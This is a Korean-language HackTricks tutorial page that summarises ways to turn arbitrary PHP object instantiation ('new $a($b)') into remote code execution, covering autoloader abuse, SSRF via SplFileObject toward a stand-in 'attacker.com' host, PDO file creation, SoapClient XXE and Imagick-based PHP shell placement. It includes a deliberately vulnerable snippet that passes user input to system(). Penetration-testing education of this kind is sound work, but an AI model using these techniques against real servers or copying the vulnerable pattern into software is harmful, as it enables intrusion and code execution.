PHP - RCE 객체 생성을 악용하기: new $_GET["a"]($_GET["b"])
Reading time: 4 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
이것은 기본적으로 https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/의 요약입니다.
소개
new $_GET["a"]($_GET["a"])
와 같은 새로운 임의 객체의 생성은 원격 코드 실행(RCE)으로 이어질 수 있으며, 이는 writeup에 자세히 설명되어 있습니다. 이 문서는 RCE를 달성하기 위한 다양한 전략을 강조합니다.
사용자 정의 클래스 또는 자동 로딩을 통한 RCE
구문 new $a($b)
는 객체를 인스턴스화하는 데 사용되며, 여기서 **$a
**는 클래스 이름을 나타내고 **$b
**는 생성자에 전달되는 첫 번째 인수입니다. 이러한 변수는 GET/POST와 같은 사용자 입력에서 가져올 수 있으며, 문자열이나 배열일 수 있거나 JSON에서 다른 유형으로 나타날 수 있습니다.
아래의 코드 스니펫을 고려하십시오:
class App {
function __construct ($cmd) {
system($cmd);
}
}
class App2 {
function App2 ($cmd) {
system($cmd);
}
}
$a = $_GET['a'];
$b = $_GET['b'];
new $a($b);
이 경우, $a
를 App
또는 App2
로 설정하고 $b
를 시스템 명령(예: uname -a
)으로 설정하면 해당 명령이 실행됩니다.
자동 로딩 함수는 그러한 클래스에 직접 접근할 수 없는 경우 악용될 수 있습니다. 이러한 함수는 필요할 때 파일에서 클래스를 자동으로 로드하며, spl_autoload_register
또는 __autoload
를 사용하여 정의됩니다:
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});
function __autoload($class_name) {
include $class_name . '.php';
};
spl_autoload_register();
자동 로딩의 동작은 PHP 버전에 따라 다르며, 다양한 RCE 가능성을 제공합니다.
내장 클래스에 의한 RCE
사용자 정의 클래스나 자동 로더가 없는 경우, 내장 PHP 클래스가 RCE에 충분할 수 있습니다. 이러한 클래스의 수는 PHP 버전과 확장에 따라 100에서 200 사이입니다. get_declared_classes()
를 사용하여 나열할 수 있습니다.
관심 있는 생성자는 반사 API를 통해 식별할 수 있으며, 다음 예제와 링크 https://3v4l.org/2JEGF에서 확인할 수 있습니다.
특정 메서드를 통한 RCE에는 다음이 포함됩니다:
SSRF + Phar 역직렬화
SplFileObject
클래스는 생성자를 통해 SSRF를 가능하게 하여, 모든 URL에 연결할 수 있습니다:
new SplFileObject('http://attacker.com/');
SSRF는 Phar 프로토콜을 사용하는 PHP 8.0 이전 버전에서 역직렬화 공격으로 이어질 수 있습니다.
PDO 악용하기
PDO 클래스 생성자는 DSN 문자열을 통해 데이터베이스에 연결할 수 있게 하여, 파일 생성 또는 기타 상호작용을 가능하게 합니다:
new PDO("sqlite:/tmp/test.txt")
SoapClient/SimpleXMLElement XXE
PHP 5.3.22 및 5.4.12 버전까지는 SoapClient
및 SimpleXMLElement
생성자를 통해 XXE 공격에 취약했습니다. 이는 libxml2의 버전에 따라 달라집니다.
RCE via Imagick Extension
프로젝트의 의존성 분석에서 Imagick가 새로운 객체를 인스턴스화하여 명령 실행에 활용될 수 있음을 발견했습니다. 이는 취약점을 악용할 기회를 제공합니다.
VID 파서
파일 시스템의 지정된 경로에 콘텐츠를 쓸 수 있는 VID 파서 기능이 확인되었습니다. 이는 웹에서 접근 가능한 디렉토리에 PHP 셸을 배치하여 원격 코드 실행(RCE)을 달성할 수 있습니다.
VID Parser + 파일 업로드
PHP는 업로드된 파일을 /tmp/phpXXXXXX
에 임시로 저장하는 것으로 알려져 있습니다. msl 프로토콜을 사용하는 Imagick의 VID 파서는 파일 경로에서 와일드카드를 처리할 수 있어 임시 파일을 선택한 위치로 전송할 수 있습니다. 이 방법은 파일 시스템 내에서 임의 파일 작성을 달성하는 추가적인 접근 방식을 제공합니다.
PHP 충돌 + 무차별 대입
원본 작성물에 설명된 방법은 삭제 전에 서버 충돌을 유발하는 파일을 업로드하는 것입니다. 임시 파일의 이름을 무차별 대입하여 Imagick가 임의의 PHP 코드를 실행할 수 있게 됩니다. 그러나 이 기술은 구버전의 ImageMagick에서만 효과적인 것으로 나타났습니다.
References
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.